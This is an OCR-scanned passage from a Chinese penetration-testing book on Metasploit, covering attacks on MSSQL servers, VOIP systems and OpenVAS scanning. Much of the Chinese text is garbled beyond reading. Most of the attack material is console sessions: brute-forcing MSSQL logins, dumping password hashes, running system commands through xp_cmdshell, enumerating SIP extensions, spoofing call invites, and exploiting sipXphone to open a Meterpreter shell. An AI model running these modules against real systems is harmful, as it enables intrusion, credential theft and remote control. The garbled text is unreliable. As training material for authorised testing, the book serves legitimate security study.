[-] 192.168.65.1:1433 MSSQL - [08/36] failed to login as 'apex’

[*] 192.168.65.1:1433 MSSQL - [09/36] - Trying username:'apex' with password:'123456'

[-] 192.168.65.1:1433 MSSQL - [09/36] - failed to login as 'apex'

[*] 192.168.65.1:1433 MSSQL - [10/36] - Trying username:'apex' with password:'18101988'

[-1 192.168.65.1:1433 MSSQL - [10/36] - failed to login as 'apex'

[*] 192.168.65.1:1433 MSSQL - [11/36] - Trying username: 'apex' with password:'12121212'

-1 192.168.A5.1:1433 MSSOl - [11/3A]1 - failed to loain as 'anex’

0 TR 2 SR
BRI 4 sa, B HOBS
GEL.

525 TRMAEFKRSHRNOS

MAEFRATC L WUR T safini punPiANEEE 2 P s 0%

WOEAB P 8 5 5
AR R,

HF . A M#i Fmssgl_hashdump

FAVE R T P45 B PEAH DL RS P A MRS (5 ., 184k 3) T
2o T5h, WERT 55— 4 Anipun,

/—Aipﬂﬁg§

msf > use auxiliary/scanner/mssql/mssql_hashdump

msf auxiliary(mssql_hashdump) > set RHOSTS 192.168.65.
RHOSTS == 192.168.65.1

msf auxiliary(mssql hashdusp) > show options

Name Current Setting Required Desc
PASSWORD no The
RHOSTS 192.168.65.1 yes The
RPORT 1433 yes The
THREADS 1 yes The
USERNAME sa no The
USE_WINDOWS_AUTHENT false yes Use

ption set)

msf auxiliary(mssql hashdump) > run
[*] Instance Name: nil
192.168.65.1:1433 - Saving mssqlos.hashes
ee270
192.168.65.1:1433 - Saving mssqlo5.hashes
3db291c6737f1efh8e4a481b02284215913f
192.168.65.1:1433 - Saving mssqlo5.hashes
b79ed321563aldccdc9cfesffosadd2def
192.166.65.1:1433 - Saving mssqlo5.hashes
60358067
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary medule execution completed
msf auxiliary(mssql_hashdump) = I

##MS_Po

#2MS_Po

1

Module options (auxiliary/scanner/mssql/mssql_hashdump):

ription

password for the specified username

target address range or CIDR identifier
target port

number of concurrent threads

username to authenticate as

windows authentification (requires DOMAIN o

sa: 0100937f739643eebf33bca64cc6acBd2fda7of31c6d5c8

licyEventProcessinglogins#: 01003869d660adf6

LicyTsqlExecutionLogin##:01008d22a249df5ef3

nipun:01004bd5331c2366db85cbdde6eatl2aclc91755b116

B R 12345 B SR

Tk 3 H ol A —A
BEHOR e MUX MESF o IERATER X /\E‘cﬁ%
I XA 5E SR AR ALY B {5 8
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?kﬂ]ﬂéxz’“ﬁﬁliﬁﬁﬁﬁﬁ%%%ﬁ? A B B A (o IUAE AT LU ISR =07 TR XX Lens
A (ELEA TR, IORERIE AT LR THAN PR 3R A A A 2 SR AR

5.2.6 % SQL Server

FAE BRI T E RBP4 e o AR AT LIS SR BN IR 55 4 1, ZEK
PR R ERER, et fe . B PERBER AR . DS SR BRI B WindowsZH . %X
eI P SO LD S — B2

N TSI HEY, ATLME ims sql_enum, # FRFEE WAI7E A FREUE A Bisf 7k M,

msf > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(mssql enum) > show options

Module options (auxiliary/admin/mssql/mssql enum) :

Name Current Setting Required Description

PASSWORD no The password for the specif
ied username

Proxies no Use a proxy chain

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME sa no The username to authenticat|
e as

USE_WINDOWS_AUTHENT false yes Use windows authentificatiof

n (requires DOMAIN option set)

msf auxiliary(mssql_enum) > set USERNAME nipun
USERNAME => nipun

msf auxiliary(mssql_enum) > set password 123456
password => 123456

msf auxiliary(mssql_enum) > runl

Mmssql_enumisfTRCRZ G, AT LIEERIZEAR E R EGFE . REE EH IR T
TH2ER

msf auxiliary(mssql_enum) > set RHOST 192.168.65.1

RHOST => 192.168.65.1

msf auxiliary(mssql_enum) > run

[*] Running MS SQL Server Enumeration...

[*] Version:

[*] Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel XB6)
[*1 Jul 9 2008 14:43:34

[*1 Copyright (c) 1988-2008 Microsoft Corporation

[*] Developer Edition on Windows NT 6.2 <X86> (Build 9200: )
[*] Configuration Parameters:

[*] C2 Audit Mode is Not Enabled

[*] xp_cmdshell is Enabled

[*1 remote access is Enabled

[*1 allow updates is Not Enabled

[*] Database Mail XPs is Not Enabled

[*] Ole Automation Procedures are Enabled

[*] Databases on the server:

[*1 Database name:master

[*1 Database Files for master:

[*1 C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSS(
LADATANmaster , mdf
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TEMFATE FIRIRE, X ARHILF R TR AR, Blanfretid e . Bdein

PRRVECR . BRI, 855

AP AES 2.7 1 S —ER 40P B 2 anfe) Séad — Se2E - A7 B2 . 9 4b, Wixp_cmdshell
ZENS B RS SEBOE N EUR FEYE A . TN EE AR PR RZIR St xp_cmdshell 2

AR, BN Brssal _enumbBaA 4L T HEL(E B

-
[*] System Admin Logins on this Server:

*1 sa

*1 NT AUTHORITY\SYSTEM

*1 NT SERVICE\MSSQLSERVER

1 win8\Nipun

*1 NT SERVICE\SQLSERVERAGENT
*1 nipun

[*] Windows Logins on this Server:
[*1 NT AUTHORITY\SYSTEM

*1 win8\Nipun

[*] Windows Groups that can logins on this Server:
*1 NT SERVICE\MSSQLSERVER

*1 NT SERVICE\SQLSERVERAGENT

[*1 Accounts with Username and Password being the same:

[*] Accounts with empty password:

*1 sa

[*] Stored Procedures with Public Execute Permission found:
*1 sp_replsetsyncstatus
*1 sp_replcounters

*1 sp_replsendtoqueue

*1 sp_resyncexecutesql
*1 Sp_prepexecrpc

*1 sp_repltrans

*1 sp_xml_preparedocument
*1 xp_qv

[*1 xp_getnetname

*1 sp_releaseschemalock
*1 sp_refreshview

*1 sp_replemds

[*1 sp_unprepare

*1 sp_resyncprepare

*1 No Account with its password being the same as its username was found.

AU L T8 B 5 A P A B (5 B o X FURMAS T — M R RS R, —Se gl

SSHER, AR FERIWindows B 544 A M S R B 74 .

527 REZBEBITRG®S

W T T HIRE R LS, iE3RATE BinEde L5 li— 25 d it . 8 7 el
BB, v DE AR RMEER 5307 A . 55— L AR Enssql_sql, EEE
BT DIFEBHR I LI 7SQLA A, 45 AN B AV Bmssql _exec, ‘BN LR HE Z#izk

Mxp_cmdshell, MIMAFHITRERIIMS

1. ¥ N \xp_cmdshellIfEE

Fithmssql_execkf 2l i H R AZE ) xp_cmdshel 1IHERIZTT

Pl B B EPATI R G a2 M cupi i, 1ERAITER — Pt

E L iR S g
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msf > use auxiliary/admin/mssql/mssql_exec
msf auxiliary(mssgl exec) > set CMD 'ipconfig'
CMD => ipconfig

msf auxiliary(mssqgl_exec) > run

[*] 202.165.236.2:1433 - The server may have xp cmdshell disabled, t
rying to enable it...

[*] 202.165.236.2:1433 - SQL Query: EXEC master..xp cmdshell 'ipconf
ig'

SEML Tmssql_execHiAiZTT 25, Bk 2 Bos U N R F R 2558

Connection-specific DNS Suffix
Connection-specific DNS Suffix

Default Gateway .

Default Gateway .

Default Gateway . . . . . . . . . i

Default Gateway . . . . . . . . . : 192.,168.43.1

IPv4 Address. . . . . . . . . . . :192,168.19.1

IPv4 Address. . . . . . . . . . . i 192,168.43.240

IPv4 Address. . . . . . . . . . . : 192,168.56.1

IPv4 Address. . . « 0+ 4 . . 1 192.168.65.1

Link-local IPv6 Address + v+« .+ feBO::59c2:8146:3f3d:6634%26
Link-local IPv6 Address . . . . . : feB80::9ab:3741:e9f0:b74d%12
Link-local IPv6 Address . . . . . : fe80::9dec:dlae:5234:bd41%24
Link-local IPv6 Address . . . . . : fe80::cB3f:efdl:214b:bc3e%21
Media State .+ .+ « . t Media disconnected

Media State . . . . . . . . . . . : Media disconnected

Media State . . . . . . . . . . . : Media disconnected

Media State . . . . . . . . . . . : Media disconnected

Media State . . . . . . . . . . . : Media disconnected

Media State . . . . . . . . . . . : Media disconnected

Media State . . . . . . . . . . . ! Media disconnected

Media State . . . . . . . . . . . : Media disconnected

Media State . . . . . . . . . . . : Media disconnected

Subnet Mask . . . . . . . . . . . ! 255,255,255.0

Subnet Mask . . . . . . . . . . . : 255,255,255.0

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Subnet Mask . . . . . . . . . . . ! 255,255,255.0

gE L RS A L R T X B AR R S5 2 P T R G e
 IB{TSQLE G S

Al LS FHms sql_sql BEHXT H ARSI 2 IR 55 #5007 SQLAT I i 2 o M R SQLS A IME X
TEN— SR A A A, XA ST, KR,

msf > use auxiliary/admin/mssql/mssql_sql
msf auxiliary(mssql_sql) > run

[*]1 SQL Query: select @@version
[*] Row Count: 1 (Status: 16 Command: 193)

NULL
Microsoft SQL Server 2008 (RTM) - 190.0.1600.22 (Intel X86)
Jul 9 2008 14:43:34
Copyright (c) 1988-2008 Microsoft Corporation
Developer Edition on Windows NT 6.2 <X86> (Build 9200: )

[*] Auxiliary module execution completed
msf auxiliary(mssql_sql) > [
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HSQLBEEIK B N select @@version, BHREMIPATR A AR MSZIE, FATHAT
PR IX ARt A RRAS 1

FRBRZ AT AL, AT LA I Metasploiteill izt 25 R EScs 2 i il

ﬂ I 75— A FMySQLBE 47757 M 3K 6948, i 57 5] TR, « http://pentestlab.wordpress.
com/212/7/27/attacking-mysql-with-metasploit/,

5.3 VOIP &Mzt
BAE I B SRR S A VOIPII IR 55, F12f S Uil % 2 n] G20 VOIPAR 55 18 45 PR o

5.3.1 VOIP MEXKRIE

ARG R GRS , VOIPRIMMS EARRRIR 2 . M UAE G HLF LS5, VOIPTE MR E,
ROt T ARRE, BlanZrEnd RebE . SRABLERIRS . HEIRS . BUGRIEN S, 5%, Rk
VRN aIAHED T T IPHLIE IR 55 1 & B 3241 ( Private Branch eXchange,PBX ).

ToI AL G0 RS2 IR A L 15 2R G0 7 1 64 B B ) 5o B AR AR 055 o ltn, —>
Wt B U T R B R IE RS O, K A IR R GRS T A X B T DM A C
BB VT ARSI AT A Z EH W, WREWE LI EF B S TAMNMRAY B, [RIRE AT LU X
DRI e ik FENUEE,

TEXTVOIPHEATB S IR, v LIRN AR 52 35 TR ZR 3 . At , WARARIFAS T T
VOIPHYFER AR L TAEREE, R AX KBBR8 T RMER TR, X ER N &8 & m 3R]
&I ANl AE AN BE R L TR 2R B A1 0 8% — 1 VOIP M 25

1. PBX{Ef

TEF/NRASE T, PBXJE—EM LR & A B RS i %2 . RO EARS RIG, KT 4%
G (B AN 2 2 M Bl A . KB R T RE S FEPBX, PR NN A — S FE TR 2R B Al 5 4h
FE R — ARG AY TAE . —APBXAEAELL R ILA

O EEFIPBX AT 4kL

Q — & RS T W PBXIT I T 1 i FL i 1AL

Q PBXE SRS

Q — T EAER S G 8 B,

2. VOIPRR S HyZE A

AT LR VOIPH AR/ i = FP AR 2R A, Bk BB/ 24
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3. BREMLE

TEIXFPE RN 2% rh | PBXGHE B # LA TE % P o DURIAS B, 5 Internet BR 542 47 ( Internet
Service Provider, ISP ) #EN7ZCREFESL . X PRSI (16 00 25 34 23 i 1k Ao 14 K UL R 38k 9 1) PBX
WA KL VOIPE R I i, X LI i s R 45 N PR BB E 32 #: M ( Public Switched Telephone
Network, PSTN ) FIUSPLAHEA T4k BACHMIEE T BB . T RIZGH T —A KR L] F .

| b -‘f—/@
PSTN
7

4. FEERRSS

TEFLE RS IR VOIPE AR H, B P i ANFAEPBX . (HJE, B WA AR R % P iyid 1
I 2 S IR S5 PR AL R R PBX, sk 2 TP/ VPNEL AT i £ iE #8811 ( Session Initiation
Protocol, SIP ) ZREZEHER

LEFRATHE T PR HE B N AR X I AR AT S B

ES
VPN/IP
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5. SIPER SR

HHECM FARZASIPAR S HRALRET, M40t 7T A E B AR VOIPAR S5 . A, mr LU A
1A% P 2ed AVOIPHR S, flanXlite, R EIIR.

Couy"r.:"i:tmrk

5.3.2 Xt VOIP BR& RS

AT LA FHiMetasploit PN & 9 STPAE AR B T HR X 2% HH A VOIP I A A TR A o 3 HLAG — M
NEZWSIPIH A3 FEF (SIP endpoint scanner ) BLPN B 7EMetasploitH, 7] LAE XA AH
IR A FISIPARSS M opt 1 ons R AEAFR ML I Ja F T SIPAR S B4

YSfdiH /auxiliary/scanner/sip I Boptionsii BIEH VOIPHEATHH, IS HAT
ZER AT . XA EARE—M84T T Asterisk PBX VOIPE F Ui XP RS, il Lz A—
B AR 2 AISIPAR S, W EFIR.

msf > use auxiliary/scanner/sip/options
msf auxiliary(options) > show options
Module options (auxiliary/scanner/sip/options):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to probe in each se
t

CHOST no The local client address

CPORT 5060 no The local client port

RHOSTS yes The target address range or CIDR identi
fier

RPORT 5060 yes The target port

THREADS 1 yes The number of concurrent threads

TO nobody no The destination username to probe at ea
ch host




5.3 VOIP & nl & 159

AJLIEFfEauxiliary /scanner/sip/optionsfi B AR Z o] DIC & 180T, X B
WA TIC B I AT RHOSTS o SN R I8 1A T B A A, AT LA FH T2 28 31 d3h PR i R I
# ( Classless Inter Domain Routing, CIDR ) #&=E IPHIHEEE . M HuUEF KRS, KBSTHh
AR 2 PV Rl N AT REfd FHSIPAR 55 1 iR &, s A TiX MR A R A R BT o

=l

sf auxiliary(options) > set RHOSTS 192.168.65.1/24
HOSTS => 192.168.65.1/24
sf auxiliary(options) > run

5:U|

[*] 192.168.65.128 sip:nobody@192.168.65.0 agent='TJUQBGY'

[*] 192.168.65.128 sip:nobody@l92.168.65.128 agent='hAG'

[*] 192.168.65.129 404 agent='Asterisk PBX' verbs='INVITE, ACK, CANCEL, OPTIONS,
BYE, REFER, SUBSCRIBE, NOTIFY'

[*] 192.168.65.128 sip:nobody@l92.168.65.255 agent="68T9c'

[*] 192.168.65.129 404 agent='Asterisk PBX' verbs='INVITE, ACK, CANCEL, OPTIONS,
BYE, REFER, SUBSCRIBE, NOTIFY'

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

Imsf auxiliary(options) > i

TAVEEED, X MEHAE BT 2 5 251R M AT T4 2 T SIPAR 55 1% 45 O TPAH
K58 . XEESIPAR St dfiagent (‘EFE/RPBXHIZFRFINRA ) Fiverbs (& LPBX L FFIEK
20, PRI, T A AR RS A I 2% A STP AR 45 AR A5 B .

5.3.3 3 VOIP iR %

e H AR BT SRR B 25 Rk IR s R A5 B R, BRAE LR FR AT A 55 — > Metasploit B B
auxiliary/scanner/sip/enumerator X VOIPIRSHEA T P32 . X AR T H FR
JEEIN B VOIPR S5 #E 744, FElESIZ R rA P . T HESRE — F XA Dige .

msf auxiliary(enumerator) > show options
Module options (auxiliary/scanner/sip/enumerator):
Name Current Setting Required Description
BATCHSIZE 256 yes The number of hosts to probe in each set
CHOST no The local client address
CPORT 5060 no The local client port
MAXEXT 9999 yes Ending extension
METHOD REGISTER yes Enumeration method to use OPTIONS/REGISTER
MINEXT 0 yes Starting extension
PADLEN 4 yes Cero padding maximum length
RHOSTS 192.168.65.128 yes The target address range or CIDR identifier
RPORT 5060 yes The target port
THREADS 1 yes The number of concurrent threads

BB TR A BT, Dy T RERE AR, AU e ) — e B A T B
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msf auxiliary(enumerator) > set MINEXT 3000
MINEXT => 3000

msf auxiliary(enumerator) > set MAXEXT 3005
MAXEXT => 3005

msf auxiliary(enumerator) > set PADLEN 4
PADLEN => 4

WME TR, FRATHEE TMAXEXT . MINEXT. PADLENHIRHOSTSIEM

1 FE T R S0 2 e, JRATT 43 K MINEXT FIMAXEXT I B & L A3000F13005,
MINEXTSEE AW S AR IR AL, MAXEXTRA IRV SR ZE sR il o AT LR X B pe I 14 B
A R, I MINEX T E R0, BMAXEXTEEE H 9999, IXFEELETE0~999 9 AL
U P8 VOIP IR 55 O3 WL S s rh Ay F FH P

2 F R N RHOSTS AL HE IR — > CIDRAR A (E RIS Tk e, M 148 H Bn 95 R A Y3158
PL, N KRR

msf auxiliary(enumerator) > set RHOSTS 192.168.65.0/24
RHOSTS => 192.168.65.0/24

P RHOSTSHEHIEEN192.168.65.0/24, ZBHE SR Hir 7R, BIEZTTIX M5
He, ATLERUR SR,

msf auxiliary(enumerator) > run

[*] Found user: 3000 <sip:3000@192.168.65.129> [Open]
[*] Found user: 3001 <sip:3001@192.168.65.129> [Open]
[*] Found user: 3002 <sip:3002@192.168.65.129> [Open]
[*] Found user: 3000 <sip:3000@192.168.65.255> [Open]
[*] Found user: 3001 <sip:3001@192.168.65.255> [Open]
[*] Found user: 3002 <sip:3002@192.168.65.255> [Open]
[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

FIgE R SR T R H T SIPARS B . B4, BT ZA5E T MAXEXTAIMINEXTIIE ,
AR 8 T LS5 83000~3005 B P, — AN LS5 ] ARG B AE 2 — g 4% R
i

5.3.4 HImRY VOIP HiE

TERAS T B 21 T FISIPAR S A R B2 )5, {# FiMetasploitsR thik — U O M 1 18
Tho X HA—H ) #EWindows XP_[i217 % SipXphone 2.0.6.27, 7 i Hauxiliary/voip/
sip_invite_spoo fAHUR & & — & 2E R, SR T ETR.
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E > use auxiliary/voip/sip_invite_spoof
sf auxiliary(sip_invite spoof) > show options

sf auxiliary(sip invite spoof) > back

sf > use auxiliary/voip/sip_invite_spoof

st auxiliary(sip_invite spoof) > set RHOSTS 192.168.65.129
RHOSTS == 192.168.65.129

sf auxiliary(sip_invite spoof) > set EXTENSION 4444
EXTENSION => 4444

Module options (auxiliary/veip/sip_invite_spoof):
Name Current Setting Required Description
DOMAIN no Use a specific SIP domain
EXTENSION 4444 no The specific extension or name to target
NSG The Metasploit has you yes The spoofed caller id to send
RHOSTS 192.166.65.129 yes The target address range or CIDR identifier
RPORT 5060 yes The target port
SRCADDR 192.168.1.1 yes The sip address the spoofed call is coming from
THREADS 1 yes The number of concurrent threads

AT S RO TSI EE E N BARBIIPHAE , W EXTENSTONR E N4444, SRCADDRF{E AR

FEh192.168.1. 1, XAMEFEIRA AT GRS OhE A9 U5 Lkl
T, BAEBTIX MR,

sf auxiliary(sip_invite spoof) > run

[*] Sending Fake SIP Invite to: 4444@192.168.65.129
[*] scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

BE AR ZHEH I i o

sipXphone

Messages

The Metasploit has you

sip:192.162.1.1
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A IE AR, BIERE S RARE T . BoRFREIPA192.168. 1.1, [RIAFHEER TR
H Metasploit il & LI E.

5.3.5 f VOIP i#iTi81%&

WSRAEAAS RGN SE RS HIAR , o n] A2t i i ki 1ie 5 . 5 E— s, 3.l
T 255 T HARAIPHIEE , 32 F k1 E3RA1d FiMetasploitt] HiF 185 . 7EKaliffER G ST
LT VOIPHR 451 T E .

MR T UARZE VOIP 55 (19 T RS

Q Smap
Q Sipscan
Q Sipsak
Q Voipong
Q Svmap

BAER P ERB B AZ, TEMetasploit P [RIFEL & TRZ KRB EVOIPH Y DI RER, 3
AT — DX FEA T

X HER AN H AR T sipXphone Version 2.0.6.27, 15 FiIERITEAL FL A0 R TR

sipXphone

Messages

Wihat does that button
| Hold it dowsn to zee a Hint!
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1. X TR

AR TN AL B C s eafEL AU A o ik — N HE 98 2 B B A5 st 22 5 i %
PRt TR 2 S B i s A T A U I AR R e A BEASLRR

2. N RAZERE

PR AE T 45 £ F Metasploit X} sipXphone Version 2.0.6.27 #1755 . B HEI B BE K
exploit/windows/sip/sipxphone_csedo. Y{Metasploit*}ﬁ SRR, 5 A B A T

sf > use exploit/windows/sip/sipxphone_cseq

sf exploit(sipxphone_cseq) > set RHOST 192.168.65.129

HOST => 192.168.65.129

sf exploit(sipxphone_cseq) > set payload windows/meterpreter/bind tcp
payload => windows/meterpreter/bind_tcp

sf exploit(sipxphone_cseq) > set LHOST 192.168.65.128

LHOST => 192.168.65.128

sf exploit(sipxphone cseq) > exploit

LA B RHOST . LHOST . Mlpay loadifil. —VIREHESEEZ IR, TFAXE HARET ik
1835, XA R FEBTR .

sf exploit(sipxphone_cseq) > exploit

[*] Started bind handler

[*] Trying target SIPfoundry sipXphone 2.6.0.27 Universal...

[*] Sending stage (752128 bytes) to 192.168.65.129

[*] Meterpreter session 2 opened (192.168.65.128:42522 -> 192.168.65.129:4444) at 2013-09-05 15:27:57 +0530

eterpreter >

BT AT Z 5545 T HbsrMeterpreterds il A , {8 FIMetasploitAl] 4 i) s
TS5 15 VOIPE— Tl b 25 5 BIAESS o QSR 2 XV OIP A £ m HAth 158 28 AH OC B Tl 754 7 s 03K
ATRMERSE = T.H

8 JAVATF B 3k 7T AR B AF VOIPREAT M K 69 48 3R« http://www.viproy.com.

5.4 NG

TEART R, FATWRE] T 28BN FExsedg b, TATBISE R T XIS 1515,
BB E . VOIPFISCADA , A &% 3] T SCADAL K & B EAS JF 3, dnf 5645 — M EOE PE IR 55
P RME R, DAS U B A BCE e 1 A B s AR o BeAh, SR UR T anfel il i i 4% i
VOIPE F ik SEILVOIPHR, AL SE BT VOIPAR 55 1l .

T —FRE A AT i F Metasploit HUH A AT T 4998 T HR SE M — e BB E il bkt
T AT R G S — YR E HARRB SN, AT eI — 02 @& IHKr s, LLUGZNR
R R T WL PN RN 2K IR E PN AR HEBRTE D



FEFMETI BY R LA Bk

BRI AR A48 AT Rl & F 00 A FIAE, i ike) SAIF A A A K
A, FRABFREAGGRE, 7

Binoj Koshy, M#%-%4+% %

ABHLEC AW T RENE SR, BRI BROR X Se RN B Sk 17, &
I TEAL F Metasploit o 45l N AT I T HRERFA IS FIARIO2% | Wl AR 55 EA 78
B AR IR A o

AEREERT LR L2

Q ik-Metasploit 5 A FE 7ML T H PHA TAE.
0 5B TR Pl 2R 55 A B MetasploitfiE 4 .
Q A2 AN

AR W SR AR TE P AT Y T H 5 Metasploit— & #F1 72 B M A i Web e 41
AR B T BE S HA R L A4 2 A BT AR Ta], (BSOS SR 2 AR R 69

6.1 &M Metasploit £ iR AR 55 Fe B — R S1E MR

FRATRT A = FhA [R5 750K 58 iU B, 2312 &k | 2R il i ik
SMAEREZ BN TRME 2FE T REMERELR, mHEHE PSR A Ak E R
DEACH AN A S5 PR AT S i B B, o BB MR8 12 B M TR A FARAY (5 S e
JLFRE . REMRNTHEZW, 8128 BN TR T/ sE PR E . 3]
BAEAR TR T — 3 m — UK &N, RO R A o KRR RE B 255 T 53 AN PIRI A AL
Moo WEMNATRERL S, WATREAEEIRIERS (Operating System, OS) HJZHTT . #REHYWeb
BLHEER | 1847 AR 55 a8 AR LA K S5E 0B B s B AT HARBOR AR o G s i & 7y
F BRI SR, PRI e FERNR LR &, HR LA ENKZ .

B AT THE H bRl 55 4% L1217 % Windowst#AVE REGE, (HARIE A VIRCA . 7EX AL T,
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FATHE AT LK Linux A Unix 2GR R AGBOAR LA, A5 200G S AR ICAE Windows A (UG AE |- 1%
FEADE AL PSR R FRAE S — RGN, T IE T SRR R GE, M54 1 R AR ]

DA S K @A AR A T8 B A 251 B B

____________________

Xt PR I TR R

o Ebr RSB TR
IRABEN R A%

BRI AR

____________________

RS TR G IE R B B, S3h, TR LA R B BOT AR L5 Y
111 feft FAURAE R R B B B SC T B, i FH BRERME 7R 1 B B AE A T Pk 288 A E Y
Bro BAETTIRE BN T K G457 AT 204

6.1.1 S5RIMEEBPHITER

PEAS P AR I 5 B S — A AR S A TR R e P AT 280 3B Bt Ay
M EERARRARBERRZITA, MRS TIESF . R A A28 T URAH T R A
PRAGEE R o XA B R AN T ARSI B R i 2 DA S ARG £ RN LR
GUR AN . T T AR ] AR A — AN IR T i

FAE, FRATHIRIBITRE T — kA& FATRENE P i TAE AT B — A A AR
FIRHLZ 5, A DT IR S P A0, R T 22 i R G B 3 1A A Rl
TR, A THERRAS RV BA A A TR R G o (A AR PRAR AR UL P AT — A SR 7]
AL, — B AN Fe i i e 10

FIRRTEX R A R 2 4oim, (R T TAREE LA & P il e A 2 . A
Jake, BA TR — RO B T —13755~604 (1928 5% TAEAf I E IRl 21 1 1), JefiTid 48
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Il T ZELE A By, AR RIE R o FATE VRl RLUFRATA R A e AN 2 2 g
A ABAEMEARE] T IRATHREICA RN L, REIFR TR AT — Db eft B 5 i R S fdi i
FHREBGEIL R TIXACE R TPTAERE, Pl R 25 MKS .

AR T — (LRGBS 2L, A28 3 78 S i s B S R, FAT TR RN 5Tk
fb, FA RS, (HRRANTE Z MR F B LMEM S G T B, SN RATE X i, &
TR 4 L B LR RAIPHIEE S URFRA T, MR T, JPRIX — DS R T RAT]. il
XA A DA X IEGE . TG e MR B2 A% 4, H O TR, ]
HATRE SRS it B 1 O RPE AR . AR AR LE N B it i — Rk an TR 7.

M2 P AR T AR A A IS B A A I B AL T i 2t

Q AT AR I AR

Q M5 256 MEE RS TEAE B .
O B A5 SR IP Mk Bl 45 PR X el
O REMECEFEAEREMTEAEE .
QO WebfR45 4G A AR

O AF TR AR Y R G BEAT S S MR DI R 5 1Y, R AT B T S ) S B
Rbﬁo

A, XAB BT K G AR NG RHRAS P FUR AT BRSSO
AT AN, BCEIREE A FTE— MRIE R, EEEBRATER — A ER . 7EIX 8Ll
DU, FRATR A Br B, ) 2 w4 B B sl Al AR N SR AR ATT H AT A 2%
FEAR

6.1.2 WEEE

TESBAM PSSR ZIn , FA7 BEHTTEM AL E I H PRI 205 . [RImF, M
ZH P AR R A5 R T RE S AN AT L R AT IR o B E N TR A HATE 2 — R A — 4
TRAA—, PSR 595 BT e (5 E M Bl R

SR AR AR A TR AN . BT | IEAEs T RIS A, 4545

TS5 E AT AN B | [ TARITAC AL . 7EgE T AR B 5 B AN 52
B, AT LU I R RIR 4 TR (] 4iNessus . GFURE{M T4, OpenVASZE ) S Fi ik
DRIEE, BIUEERS . kS . TCPal#F UPD M,

TE TR =T, BATEMATTIL N EIET B T H (FliNessusMOpenVAS ) RISEFE . Aid
TEFFARIXAMESS Z 815, AT LSS P i o5 ) GO | R4 RS Sl TR) 2 8] 4 25 75 vk AR —l
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M RRNAEREE A5 B o
MK IR T 7R

MR HEE I ) 8 A | RIS B A 26 S 1 n) 00 I 25 i S B A5 B, FRATT45H AR Al
IR R B

&8

TATE ARG T X BRI VPNUTTRALER , B ARJE X — Mg 1, FoA T8 FE AE TP
Hodikoh192.168.10. 10409 FHL FiETTAYERAE R 58 Windows Server 2012 R2AT

X BT 2N R 45 1 254 48 I REAE FINMAPSE R T % HARRYF4 . 1EFR A48 FiMetasploit
FEADAT P T5Q T HoR SE i — IR & A3 I, 25— 5300 T HJEOpenVAS o X & —3K il
P, BR E RS IRIAAE BT H 2 —. OpenVASI KL HIE T EREEHRIN, X
— B OIS R RIAS AR e A0 . SR OpenVASA It 23 H B — 26 a5, 1iij FL ] REAs 22
PRIEFAR NG )1 L TF B sk e, (B2 TP EZ —, OpenVAS—EL ;%?ﬂaﬂijjﬁ’/@i? Wl
NEERETFETs o

4 R % F £ Kali Linux ¥ % % OpenVAS, 7T VAAH VAT W AE42 4369 Fotthttps://
www.kali.org/penetration-testing/openvas-vulnerability-scanning/ .,
6.1.3 fE£M Metasploit A9 OpenVAS $H&-#1 TR

N T ¥ OpenVASH 5 Fl|Metasploitt, B JE75 2 7E MetasploitH Nz OpenVASHH 4, 12
/(1
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msf > load

load alias load msgrpc load sounds

load auto_add route 1load nessus load sqlmap

load db_credcollect 1load nexpose load thread

load db_tracker load openvas load token_adduser
load event_tester load pcap_log load token_hunter
load ffautoregen load request load wiki

load ips_filter load sample load wmap

load lab load session_tagger

load msfd load socket_logger

msf > load openvas

[*] Welcome to OpenVAS integration by kost and averagesecurityguy.

[*1

[*] OpenVAS integration requires a database connection. Once the

[*] database is ready, connect to the OpenVAS server using openvas_connect.
[*] For additional commands use openvas_help.

[*1

[*] Successfully loaded plugin: OpenVAS

A LAF ], fEMetasploitt il & TARZWATHY THAR, #lHISQLMAP ., NexposeHINessus.

F T ¥OpenVASHE {4 Nz 2 Metasploit, 75 2 7E Metasploitfit#% il 15 Hii A T4 Load openvas.
R ER T — A FEMetasploitH i 2 iNzE Open VASTH 4 i 72 .

T figfEMetasploitH i 1] OpenVASHZIRE, 528K Metasploit™1 ) OpenVASHHi {5 OpenVAS
AR B ik . X — S LB fE S openvas_connect G VI P FEIE .. IR S Sl
Ui FS FISSLARZS S, BN AR an F B o

msf > openvas_connect admin admin localhost 9390 ok
[*] Connecting to OpenVAS instance at localhost:9390 wi
th username admin...
OpenVAS connection successful
LEAE |

TEIERTHIRZAT, JA1Ek T — P TAEX RS M AR XOR— MBS E S 4
Ve, Rl SARTE— KL T IR BN PG A 23 5] TARRmHs . FATRT U AR A 150
FATEA R TARR, IITRAN Y B LE000 H  fFH TA DXCRT LA PR A 2R AR Ul R st 5
MZR TR . Pt BRI BURTEEA T2 B IR I TARX

B AR X BRI AR TAR X Z R o3 R 8, T ISR T AR AR AR SE

msf > workspace -h

Usage:
workspace List workspaces
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r <old> <new> Rename workspace
workspace -h Show this help information

msf > workspace -a NetScan
Added workspace: NetScan
> workspace NetScan

[*] Workspace: NetScan
msf >
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e BRI, FATE T — 4 i NetScani#i TAEIX, K5 {0 i Aworkspacefir & Fil
NetScan ( TAEXH#T ) BUHRS] T XA TAEX

R shilwi 4, B — M T Bl Bhr. ol LUMEH A4 openvas_target_create
KA ERER HAr, WTFEPR,

msf > openvas target create

[*] Usage: openvas_target_create <name> <hosts> <comment>

msf > openvas_target_create outer 192.168.10.104 Outer-Interface

[*] OK, resource created: 5da0le90-d98d-4edd-83e8-2000b934d160
OpenVAS list of targets

ID Name Hosts Max Hosts In Use Comment
(6] Localhost 1localhost 1 [¢]
1 outer 192.168.10.104 1 [¢] Outer-Interface

FATE LB TIPHbE 192, 168.10. 104 BER, BMZF Houter, £51F ~Outer-Interface
CRHT X EPRHTU ). ie x4~ BARID,

B RFZE T B E L —5Fmg . nTLMi fopenvas_config_1istay24HRH
W, WTNETR.

msf > openvas config list
OpenVAS list of configs

=
o

Name

Discovery

